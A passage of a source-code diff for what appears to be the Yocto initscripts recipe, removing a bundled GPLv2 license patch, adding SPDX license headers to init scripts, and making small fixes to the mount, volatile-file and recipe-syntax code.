-+ We protect your rights with two steps: (1) copyright the software, and
-+(2) offer you this license which gives you legal permission to copy,
-+distribute and/or modify the software.
-+
-+ Also, for each author's protection and ours, we want to make certain
-+that everyone understands that there is no warranty for this free
-+software. If the software is modified by someone else and passed on, we
-+want its recipients to know that what they have is not the original, so
-+that any problems introduced by others will not reflect on the original
-+authors' reputations.
-+
-+ Finally, any free program is threatened constantly by software
-+patents. We wish to avoid the danger that redistributors of a free
-+program will individually obtain patent licenses, in effect making the
-+program proprietary. To prevent this, we have made it clear that any
-+patent must be licensed for everyone's free use or not licensed at all.
-+
-+ The precise terms and conditions for copying, distribution and
-+modification follow.
-+
-+ GNU GENERAL PUBLIC LICENSE
-+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-+
-+ 0. This License applies to any program or other work which contains
-+a notice placed by the copyright holder saying it may be distributed
-+under the terms of this General Public License. The "Program", below,
-+refers to any such program or work, and a "work based on the Program"
-+means either the Program or any derivative work under copyright law:
-+that is to say, a work containing the Program or a portion of it,
-+either verbatim or with modifications and/or translated into another
-+language. (Hereinafter, translation is included without limitation in
-+the term "modification".) Each licensee is addressed as "you".
-+
-+Activities other than copying, distribution and modification are not
-+covered by this License; they are outside its scope. The act of
-+running the Program is not restricted, and the output from the Program
-+is covered only if its contents constitute a work based on the
-+Program (independent of having been made by running the Program).
-+Whether that is true depends on what the Program does.
-+
-+ 1. You may copy and distribute verbatim copies of the Program's
-+source code as you receive it, in any medium, provided that you
-+conspicuously and appropriately publish on each copy an appropriate
-+copyright notice and disclaimer of warranty; keep intact all the
-+notices that refer to this License and to the absence of any warranty;
-+and give any other recipients of the Program a copy of this License
-+along with the Program.
-+
-+You may charge a fee for the physical act of transferring a copy, and
-+you may at your option offer warranty protection in exchange for a fee.
-+
-+ 2. You may modify your copy or copies of the Program or any portion
-+of it, thus forming a work based on the Program, and copy and
-+distribute such modifications or work under the terms of Section 1
-+above, provided that you also meet all of these conditions:
-+
-+ a) You must cause the modified files to carry prominent notices
-+ stating that you changed the files and the date of any change.
-+
-+ b) You must cause any work that you distribute or publish, that in
-+ whole or in part contains or is derived from the Program or any
-+ part thereof, to be licensed as a whole at no charge to all third
-+ parties under the terms of this License.
-+
-+ c) If the modified program normally reads commands interactively
-+ when run, you must cause it, when started running for such
-+ interactive use in the most ordinary way, to print or display an
-+ announcement including an appropriate copyright notice and a
-+ notice that there is no warranty (or else, saying that you provide
-+ a warranty) and that users may redistribute the program under
-+ these conditions, and telling the user how to view a copy of this
-+ License. (Exception: if the Program itself is interactive but
-+ does not normally print such an announcement, your work based on
-+ the Program is not required to print an announcement.)
-+
-+These requirements apply to the modified work as a whole. If
-+identifiable sections of that work are not derived from the Program,
-+and can be reasonably considered independent and separate works in
-+themselves, then this License, and its terms, do not apply to those
-+sections when you distribute them as separate works. But when you
-+distribute the same sections as part of a whole which is a work based
-+on the Program, the distribution of the whole must be on the terms of
-+this License, whose permissions for other licensees extend to the
-+entire whole, and thus to each and every part regardless of who wrote it.
-+
-+Thus, it is not the intent of this section to claim rights or contest
-+your rights to work written entirely by you; rather, the intent is to
-+exercise the right to control the distribution of derivative or
-+collective works based on the Program.
-+
-+In addition, mere aggregation of another work not based on the Program
-+with the Program (or with a work based on the Program) on a volume of
-+a storage or distribution medium does not bring the other work under
-+the scope of this License.
-+
-+ 3. You may copy and distribute the Program (or a work based on it,
-+under Section 2) in object code or executable form under the terms of
-+Sections 1 and 2 above provided that you also do one of the following:
-+
-+ a) Accompany it with the complete corresponding machine-readable
-+ source code, which must be distributed under the terms of Sections
-+ 1 and 2 above on a medium customarily used for software interchange; or,
-+
-+ b) Accompany it with a written offer, valid for at least three
-+ years, to give any third party, for a charge no more than your
-+ cost of physically performing source distribution, a complete
-+ machine-readable copy of the corresponding source code, to be
-+ distributed under the terms of Sections 1 and 2 above on a medium
-+ customarily used for software interchange; or,
-+
-+ c) Accompany it with the information you received as to the offer
-+ to distribute corresponding source code. (This alternative is
-+ allowed only for noncommercial distribution and only if you
-+ received the program in object code or executable form with such
-+ an offer, in accord with Subsection b above.)
-+
-+The source code for a work means the preferred form of the work for
-+making modifications to it. For an executable work, complete source
-+code means all the source code for all modules it contains, plus any
-+associated interface definition files, plus the scripts used to
-+control compilation and installation of the executable. However, as a
-+special exception, the source code distributed need not include
-+anything that is normally distributed (in either source or binary
-+form) with the major components (compiler, kernel, and so on) of the
-+operating system on which the executable runs, unless that component
-+itself accompanies the executable.
-+
-+If distribution of executable or object code is made by offering
-+access to copy from a designated place, then offering equivalent
-+access to copy the source code from the same place counts as
-+distribution of the source code, even though third parties are not
-+compelled to copy the source along with the object code.
-+
-+ 4. You may not copy, modify, sublicense, or distribute the Program
-+except as expressly provided under this License. Any attempt
-+otherwise to copy, modify, sublicense or distribute the Program is
-+void, and will automatically terminate your rights under this License.
-+However, parties who have received copies, or rights, from you under
-+this License will not have their licenses terminated so long as such
-+parties remain in full compliance.
-+
-+ 5. You are not required to accept this License, since you have not
-+signed it. However, nothing else grants you permission to modify or
-+distribute the Program or its derivative works. These actions are
-+prohibited by law if you do not accept this License. Therefore, by
-+modifying or distributing the Program (or any work based on the
-+Program), you indicate your acceptance of this License to do so, and
-+all its terms and conditions for copying, distributing or modifying
-+the Program or works based on it.
-+
-+ 6. Each time you redistribute the Program (or any work based on the
-+Program), the recipient automatically receives a license from the
-+original licensor to copy, distribute or modify the Program subject to
-+these terms and conditions. You may not impose any further
-+restrictions on the recipients' exercise of the rights granted herein.
-+You are not responsible for enforcing compliance by third parties to
-+this License.
-+
-+ 7. If, as a consequence of a court judgment or allegation of patent
-+infringement or for any other reason (not limited to patent issues),
-+conditions are imposed on you (whether by court order, agreement or
-+otherwise) that contradict the conditions of this License, they do not
-+excuse you from the conditions of this License. If you cannot
-+distribute so as to satisfy simultaneously your obligations under this
-+License and any other pertinent obligations, then as a consequence you
-+may not distribute the Program at all. For example, if a patent
-+license would not permit royalty-free redistribution of the Program by
-+all those who receive copies directly or indirectly through you, then
-+the only way you could satisfy both it and this License would be to
-+refrain entirely from distribution of the Program.
-+
-+If any portion of this section is held invalid or unenforceable under
-+any particular circumstance, the balance of the section is intended to
-+apply and the section as a whole is intended to apply in other
-+circumstances.
-+
-+It is not the purpose of this section to induce you to infringe any
-+patents or other property right claims or to contest validity of any
-+such claims; this section has the sole purpose of protecting the
-+integrity of the free software distribution system, which is
-+implemented by public license practices. Many people have made
-+generous contributions to the wide range of software distributed
-+through that system in reliance on consistent application of that
-+system; it is up to the author/donor to decide if he or she is willing
-+to distribute software through any other system and a licensee cannot
-+impose that choice.
-+
-+This section is intended to make thoroughly clear what is believed to
-+be a consequence of the rest of this License.
-+
-+ 8. If the distribution and/or use of the Program is restricted in
-+certain countries either by patents or by copyrighted interfaces, the
-+original copyright holder who places the Program under this License
-+may add an explicit geographical distribution limitation excluding
-+those countries, so that distribution is permitted only in or among
-+countries not thus excluded. In such case, this License incorporates
-+the limitation as if written in the body of this License.
-+
-+ 9. The Free Software Foundation may publish revised and/or new versions
-+of the General Public License from time to time. Such new versions will
-+be similar in spirit to the present version, but may differ in detail to
-+address new problems or concerns.
-+
-+Each version is given a distinguishing version number. If the Program
-+specifies a version number of this License which applies to it and "any
-+later version", you have the option of following the terms and conditions
-+either of that version or of any later version published by the Free
-+Software Foundation. If the Program does not specify a version number of
-+this License, you may choose any version ever published by the Free Software
-+Foundation.
-+
-+ 10. If you wish to incorporate parts of the Program into other free
-+programs whose distribution conditions are different, write to the author
-+to ask for permission. For software which is copyrighted by the Free
-+Software Foundation, write to the Free Software Foundation; we sometimes
-+make exceptions for this. Our decision will be guided by the two goals
-+of preserving the free status of all derivatives of our free software and
-+of promoting the sharing and reuse of software generally.
-+
-+ NO WARRANTY
-+
-+ 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
-+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
-+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
-+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-+REPAIR OR CORRECTION.
-+
-+ 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-+POSSIBILITY OF SUCH DAMAGES.
-+
-+ END OF TERMS AND CONDITIONS
-+
-+ How to Apply These Terms to Your New Programs
-+
-+ If you develop a new program, and you want it to be of the greatest
-+possible use to the public, the best way to achieve this is to make it
-+free software which everyone can redistribute and change under these terms.
-+
-+ To do so, attach the following notices to the program. It is safest
-+to attach them to the start of each source file to most effectively
-+convey the exclusion of warranty; and each file should have at least
-+the "copyright" line and a pointer to where the full notice is found.
-+
-+ <one line to give the program's name and a brief idea of what it does.>
-+ Copyright (C) <year> <name of author>
-+
-+ This program is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by
-+ the Free Software Foundation; either version 2 of the License, or
-+ (at your option) any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ GNU General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with this program; if not, write to the Free Software Foundation, Inc.,
-+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-+
-+Also add information on how to contact you by electronic and paper mail.
-+
-+If the program is interactive, make it output a short notice like this
-+when it starts in an interactive mode:
-+
-+ Gnomovision version 69, Copyright (C) year name of author
-+ Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-+ This is free software, and you are welcome to redistribute it
-+ under certain conditions; type `show c' for details.
-+
-+The hypothetical commands `show w' and `show c' should show the appropriate
-+parts of the General Public License. Of course, the commands you use may
-+be called something other than `show w' and `show c'; they could even be
-+mouse-clicks or menu items--whatever suits your program.
-+
-+You should also get your employer (if you work as a programmer) or your
-+school, if any, to sign a "copyright disclaimer" for the program, if
-+necessary. Here is a sample; alter the names:
-+
-+ Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-+ `Gnomovision' (which makes passes at compilers) written by James Hacker.
-+
-+ <signature of Ty Coon>, 1 April 1989
-+ Ty Coon, President of Vice
-+
-+This General Public License does not permit incorporating your program into
-+proprietary programs. If your program is a subroutine library, you may
-+consider it more useful to permit linking proprietary applications with the
-+library. If this is what you want to do, use the GNU Lesser General
-+Public License instead of this License.
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/alignment.sh b/meta/recipes-core/initscripts/initscripts-1.0/alignment.sh
index b577b9a03a..f9eb9fc5ca 100644
--- a/meta/recipes-core/initscripts/initscripts-1.0/alignment.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/alignment.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: alignment
# Required-Start: mountkernfs
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/banner.sh b/meta/recipes-core/initscripts/initscripts-1.0/banner.sh
index 9e2b091252..dd3dd9d4fc 100644
--- a/meta/recipes-core/initscripts/initscripts-1.0/banner.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/banner.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: banner
# Required-Start:
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/bootmisc.sh b/meta/recipes-core/initscripts/initscripts-1.0/bootmisc.sh
index 591591f87f..6068a8c07f 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/bootmisc.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/bootmisc.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: bootmisc
# Required-Start: $local_fs mountvirtfs
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/checkfs.sh b/meta/recipes-core/initscripts/initscripts-1.0/checkfs.sh
index 62869451b7..f7a61d8b53 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/checkfs.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/checkfs.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: checkfs
# Required-Start: checkroot
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh b/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh
index 02f0351fcb..1c7057b0f1 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: checkroot
# Required-Start: udev
@@ -74,7 +78,7 @@ test "$VERBOSE" != no && echo "Activating swap"
#
# Check the root filesystem.
#
-if test -f /fastboot || test $rootcheck = no
+if test -f /fastboot || test "$rootcheck" = "no"
then
test $rootcheck = yes && echo "Fast boot, no filesystem check"
else
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/devpts.sh b/meta/recipes-core/initscripts/initscripts-1.0/devpts.sh
index c6043fb1e6..ad5182d3e1 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/devpts.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/devpts.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: devpts
# Required-Start: udev
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/dmesg.sh b/meta/recipes-core/initscripts/initscripts-1.0/dmesg.sh
index 2b9eba64cf..07ee533432 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/dmesg.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/dmesg.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: dmesg
# Required-Start:
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/functions b/meta/recipes-core/initscripts/initscripts-1.0/functions
index 01ad1edd3e..35aebd4a55 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/functions
+++ b/meta/recipes-core/initscripts/initscripts-1.0/functions
@@ -3,6 +3,9 @@
# functions This file contains functions to be used by most or all
# shell scripts in the /etc/init.d directory.
#
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
NORMAL="\\033[0;39m" # Standard console grey
SUCCESS="\\033[1;32m" # Success is green
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/halt b/meta/recipes-core/initscripts/initscripts-1.0/halt
index a56f73421b..ba967c7650 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/halt
+++ b/meta/recipes-core/initscripts/initscripts-1.0/halt
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: halt
# Required-Start:
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/hostname.sh b/meta/recipes-core/initscripts/initscripts-1.0/hostname.sh
index 95287cc139..740f75cb41 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/hostname.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/hostname.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: hostname
# Required-Start:
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh b/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh
index c719be5d9a..e87b291d4e 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: mountall
# Required-Start: mountvirtfs
@@ -19,15 +23,21 @@
test "$VERBOSE" != no && echo "Mounting local filesystems..."
mount -at nonfs,nosmbfs,noncpfs 2>/dev/null
-#
-# We might have mounted something over /dev, see if /dev/initctl is there.
-#
-if test ! -p /dev/initctl
-then
- rm -f /dev/initctl
- mknod -m 600 /dev/initctl p
+
+# We might have mounted something over /run; see if
+# /dev/initctl is present. Look for
+# /sbin/init.sysvinit to verify that sysvinit (and
+# not busybox or systemd) is installed as default init).
+INITCTL="/dev/initctl"
+if [ ! -p "$INITCTL" ] && [ "${INIT_SYSTEM}" = "sysvinit" ]; then
+ # Create new control channel
+ rm -f "$INITCTL"
+ mknod -m 600 "$INITCTL" p
+
+ # Reopen control channel.
+ PID="$(pidof -s /sbin/init || echo 1)"
+ [ -n "$PID" ] && kill -s USR1 "$PID"
fi
-kill -USR1 1
#
# Execute swapon command again, in case we want to swap to
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/mountnfs.sh b/meta/recipes-core/initscripts/initscripts-1.0/mountnfs.sh
index be9f5970fa..c08597e725 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/mountnfs.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/mountnfs.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: mountnfs
# Required-Start: $local_fs $network $rpcbind
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh b/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh
index f21f48dd30..bc630e871c 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: volatile
# Required-Start: $local_fs
@@ -37,8 +41,8 @@ create_file() {
fi
EXEC="
${EXEC}
- chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\" >/dev/tty0 2>&1;
- chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" >/dev/tty0 2>&1 "
+ chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\";
+ chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" "
test "$VOLATILE_ENABLE_CACHE" = yes && echo "$EXEC" >> /etc/volatile.cache.build
@@ -60,8 +64,8 @@ create_file() {
mk_dir() {
EXEC="
mkdir -p \"$1\";
- chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\" >/dev/tty0 2>&1;
- chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" >/dev/tty0 2>&1 "
+ chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\";
+ chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" "
test "$VOLATILE_ENABLE_CACHE" = yes && echo "$EXEC" >> /etc/volatile.cache.build
if [ -e "$1" ]; then
@@ -201,7 +205,7 @@ apply_cfgfile() {
"f") [ "${VERBOSE}" != "no" ] && echo "Creating file -${TNAME}-."
TSOURCE="$TLTARGET"
[ "${TSOURCE}" = "none" ] && TSOURCE=""
- create_file "${TNAME}" "${TSOURCE}" &
+ create_file "${TNAME}" "${TSOURCE}"
;;
"d") [ "${VERBOSE}" != "no" ] && echo "Creating directory -${TNAME}-."
mk_dir "${TNAME}"
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/read-only-rootfs-hook.sh b/meta/recipes-core/initscripts/initscripts-1.0/read-only-rootfs-hook.sh
index bd445ddb07..a29773647f 100644
--- a/meta/recipes-core/initscripts/initscripts-1.0/read-only-rootfs-hook.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/read-only-rootfs-hook.sh
@@ -1,4 +1,7 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
. /etc/default/rcS
@@ -34,9 +37,9 @@ if [ "$1" = "start" ] ; then
mkdir -p /var/volatile/.lib-work
# Try to mount using overlay, which is much faster than copying
# files. If that fails, fallback to the slower copy
- if ! mount -t overlay overlay -olowerdir=/var/lib,upperdir=/var/volatile/lib,workdir=/var/volatile/.lib-work /var/lib > /dev/null 2>&1; then
+ if ! mount -t overlay overlay SED_VARLIBMOUNTARGS -olowerdir=/var/lib,upperdir=/var/volatile/lib,workdir=/var/volatile/.lib-work /var/lib > /dev/null 2>&1; then
cp -a /var/lib/* /var/volatile/lib
- mount --bind /var/volatile/lib /var/lib
+ mount SED_VARLIBMOUNTARGS --bind /var/volatile/lib /var/lib
fi
fi
fi
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/reboot b/meta/recipes-core/initscripts/initscripts-1.0/reboot
index 087d8d5da4..91e3972ed9 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/reboot
+++ b/meta/recipes-core/initscripts/initscripts-1.0/reboot
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: reboot
# Required-Start:
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/rmnologin.sh b/meta/recipes-core/initscripts/initscripts-1.0/rmnologin.sh
index 76de3418ac..0bbaee7a9d 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/rmnologin.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/rmnologin.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: rmnologin
# Required-Start: $remote_fs $all
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/save-rtc.sh b/meta/recipes-core/initscripts/initscripts-1.0/save-rtc.sh
index ffa1eee43d..e1e39345b7 100644
--- a/meta/recipes-core/initscripts/initscripts-1.0/save-rtc.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/save-rtc.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: save-rtc
# Required-Start:
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/sendsigs b/meta/recipes-core/initscripts/initscripts-1.0/sendsigs
index 34e1b7714b..15dd4bb76f 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/sendsigs
+++ b/meta/recipes-core/initscripts/initscripts-1.0/sendsigs
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: sendsigs
# Required-Start:
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/single b/meta/recipes-core/initscripts/initscripts-1.0/single
index da82d178a1..1172584170 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/single
+++ b/meta/recipes-core/initscripts/initscripts-1.0/single
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: single
# Required-Start: $local_fs $all killprocs
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/sushell b/meta/recipes-core/initscripts/initscripts-1.0/sushell
index c319d95bf7..511291db85 100644
--- a/meta/recipes-core/initscripts/initscripts-1.0/sushell
+++ b/meta/recipes-core/initscripts/initscripts-1.0/sushell
@@ -1,4 +1,7 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
[ -z "$SUSHELL" ] && SUSHELL=/bin/sh
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/sysfs.sh b/meta/recipes-core/initscripts/initscripts-1.0/sysfs.sh
index 4871ee94e5..da9ad485c1 100644
--- a/meta/recipes-core/initscripts/initscripts-1.0/sysfs.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/sysfs.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: mountvirtfs
# Required-Start:
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/umountfs b/meta/recipes-core/initscripts/initscripts-1.0/umountfs
index 7fb5c58b3e..a8691e570f 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/umountfs
+++ b/meta/recipes-core/initscripts/initscripts-1.0/umountfs
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: umountfs
# Required-Start:
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/umountnfs.sh b/meta/recipes-core/initscripts/initscripts-1.0/umountnfs.sh
index af075407fd..b91fa05eed 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/umountnfs.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/umountnfs.sh
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: umountnfs
# Required-Start:
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/urandom b/meta/recipes-core/initscripts/initscripts-1.0/urandom
index af1625b5fd..7be92d3b0a 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/urandom
+++ b/meta/recipes-core/initscripts/initscripts-1.0/urandom
@@ -1,4 +1,8 @@
#!/bin/sh
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
### BEGIN INIT INFO
# Provides: urandom
# Required-Start: $local_fs mountvirtfs
diff --git a/meta/recipes-core/initscripts/initscripts_1.0.bb b/meta/recipes-core/initscripts/initscripts_1.0.bb
index 32c527799e..e61ac554f3 100644
--- a/meta/recipes-core/initscripts/initscripts_1.0.bb
+++ b/meta/recipes-core/initscripts/initscripts_1.0.bb
@@ -2,9 +2,8 @@ SUMMARY = "SysV init scripts"
HOMEPAGE = "https://github.com/fedora-sysv/initscripts"
DESCRIPTION = "Initscripts provide the basic system startup initialization scripts for the system. These scripts include actions such as filesystem mounting, fsck, RTC manipulation and other actions routinely performed at system startup. In addition, the scripts are also used during system shutdown to reverse the actions performed at startup."
SECTION = "base"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-PR = "r155"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://functions;beginline=7;endline=7;md5=829e563511c9a1d6d41f17a7a4989d6a"
INHIBIT_DEFAULT_DEPS = "1"
@@ -31,7 +30,6 @@ SRC_URI = "file://functions \
file://read-only-rootfs-hook.sh \
file://volatiles \
file://save-rtc.sh \
- file://GPLv2.patch \
file://dmesg.sh \
file://logrotate-dmesg.conf \
${@bb.utils.contains('DISTRO_FEATURES','selinux','file://sushell','',d)} \
@@ -39,31 +37,33 @@ SRC_URI = "file://functions \
S = "${WORKDIR}"
-SRC_URI_append_arm = " file://alignment.sh"
-SRC_URI_append_armeb = " file://alignment.sh"
+SRC_URI:append:arm = " file://alignment.sh"
+SRC_URI:append:armeb = " file://alignment.sh"
KERNEL_VERSION = ""
-DEPENDS_append = " update-rc.d-native"
-PACKAGE_WRITE_DEPS_append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
+DEPENDS:append = " update-rc.d-native"
+PACKAGE_WRITE_DEPS:append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
PACKAGES =+ "${PN}-functions ${PN}-sushell"
-RDEPENDS_${PN} = "initd-functions \
+RDEPENDS:${PN} = "initd-functions \
${@bb.utils.contains('DISTRO_FEATURES','selinux','${PN}-sushell','',d)} \
init-system-helpers-service \
"
# Recommend pn-functions so that it will be a preferred default provider for initd-functions
-RRECOMMENDS_${PN} = "${PN}-functions"
-RPROVIDES_${PN}-functions = "initd-functions"
-RCONFLICTS_${PN}-functions = "lsbinitscripts"
-FILES_${PN}-functions = "${sysconfdir}/init.d/functions*"
-FILES_${PN}-sushell = "${base_sbindir}/sushell"
+RRECOMMENDS:${PN} = "${PN}-functions"
+RPROVIDES:${PN}-functions = "initd-functions"
+RCONFLICTS:${PN}-functions = "lsbinitscripts"
+FILES:${PN}-functions = "${sysconfdir}/init.d/functions*"
